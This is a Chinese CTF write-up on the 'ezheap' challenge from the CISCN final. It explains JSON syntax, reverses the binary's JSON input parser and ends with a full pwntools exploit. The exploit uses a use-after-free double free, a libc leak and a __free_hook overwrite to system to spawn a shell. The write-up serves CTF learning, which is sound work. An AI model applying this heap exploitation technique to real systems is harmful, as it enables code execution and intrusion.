关于pwn中json的逆向

json格式介绍

1.简单对象

{
  "name": "John Doe",
  "age": 30,
  "is_student": false
}

这是一个包含三个键值对的简单对象。

2.嵌套对象

{
  "person": {
    "name": "John Doe",
    "age": 30,
    "address": {
      "street": "123 Main St",
      "city": "Anytown",
      "country": "USA"
    }
  }
}

在这个示例中,一个对象包含另一个对象作为其值。

3.数组

{
  "fruits": ["apple", "banana", "cherry"]
}

4.对象数组

{
  "employees": [
    { "name": "John Doe", "age": 30 },
    { "name": "Jane Smith", "age": 25 },
    { "name": "Emily Johnson", "age": 35 }
  ]
}

5.布尔值和空值

{
  "success": true,
  "data": null
}

6.复杂示例

{
  "id": 1,
  "name": "Product",
  "price": 29.99,
  "tags": ["electronics", "sale"],
  "attributes": {
    "color": "red",
    "warranty": "1 year"
  },
  "in_stock": true,
  "related_products": [
    { "id": 2, "name": "Related Product 1" },
    { "id": 3, "name": "Related Product 2" }
  ]
}

JSON格式的基本规则

  • 对象由花括号 {} 包围,包含零个或多个键值对。
  • 数组由方括号 [] 包围,包含零个或多个值。
  • 键必须是字符串,且必须用双引号 "" 包围。
  • 值可以是字符串(必须用双引号包围)、数字、对象、数组、布尔值(true 或 false)或 null。

pwn中的json逆向

在初步的了解了json格式后,再来看看pwn中的json格式的逆向

  • 这里以CISCN决赛中的ezheap这道题为例
  • libc2.31,有uaf,同时edit没有限制长度

  • 下面进入json格式输入的逆向
    先是有很长的输入

    一直跟进

可以看到这里有json中的null,true,false,这是json中的布尔值和空值

这里也有[和{,这是json中数组和对象的开头

再跟进看可以看到有json中的','字符,同时也在验证{和[是否闭合

  • 根据上述就可以判断输入是json格式了,只要按照
    {"choice":"new","index":1,"length":20,"message":"hello"}这个格式输入就可以过了交互,进行pwn的攻击

  • 主要是因为处理json格式的输入途中开辟了堆块,因此有噪声,但是本质上很简单

  • 基于上述可以无限制double free,这可是最简单危害最大的漏洞了,得到libcbase然后打free_hook就打完了

  • exp

from pwn import *
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x4013D2')
# p=remote('8.147.132.114',13576)
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
def dbg():
    gdb.attach(p,'b *$rebase(0x15DB)')  
    pause()

menu="Please input:"
def add(size,cont):
    payload='{'+'"choice":"new",'+'"index":1,'+f'"length":{size},'+'"message":'+'"'
    payload=payload.encode()
    payload+=cont
    payload+=b'"'+b'}'
    p.sendlineafter(menu,payload)

def edit(idx,len,cont):
    payload='{'+'"choice":"modify",'+f'"index":{idx},'+f'"length":{len},'+'"message":'+'"'
    payload=payload.encode()
    payload+=cont
    payload+=b'"'+b'}'
    print(payload)
    p.sendlineafter(menu,payload)

def delete(idx):
    payload='{'+'"choice":"rm",'+f'"index":{idx},'+f'"length":20,'+'"message":'+'"'+'1'+'"'+'}'
    print(payload)
    p.sendlineafter(menu,payload)

def show(idx):
    payload='{'+'"choice":"view",'+f'"index":{idx},'+f'"length":20,'+'"message":'+'"'+'1'+'"'+'}'
    print(payload)
    p.sendlineafter(menu,payload)

#--------------------有uaf可以edit,所以可以无限制double free---------------------------------
add(0x400,b'a') #0
add(0x400,b'a') #1
delete(0)
for i in range(6):
    edit(0,0x400,b'a'*0x10)
    delete(0)

delete(1)
#--------------------------为了处理噪声---------------------------------
add(0x60,b'') #2
edit(2,1,b'\xe0')
show(2)
p.recvuntil('message:')
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x1ecbe0
print(hex(libcbase))

system=libcbase+libc.sym['system']
binsh=libcbase+0x1B45BD
free_hook=libcbase+libc.sym['__free_hook']
edit(0,0x400,p64(free_hook)[:6])
add(0x400,b'/bin/sh') #3
add(0x400,p64(system)[:6]) #3

delete(3)
p.interactive()
0 条评论
某人
表情
可输入 255